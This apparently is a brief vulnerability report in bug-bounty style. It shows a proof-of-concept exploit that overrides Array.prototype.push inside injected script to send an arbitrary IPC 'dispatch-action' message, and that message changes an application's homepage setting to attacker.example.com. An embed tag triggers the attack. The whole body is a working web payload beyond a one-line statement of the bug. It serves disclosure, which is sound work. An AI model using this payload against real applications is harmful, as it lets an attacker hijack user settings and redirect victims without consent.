Sending arbitrary IPC messages via overriding Array.prototype.push

Summary: This bug is similar to #187542 and #188086. I found that also `Array.prototype.push` is exploitable.

<script>
Array.prototype.push=function(e){
	this[0]=function(e,f){
		e.sender.send("dispatch-action",'{"actionType":"app-change-setting","key":"general.homepage","value":"http://attacker.example.com/"}');
	}
}
</script>

<embed src=".swf"></embed>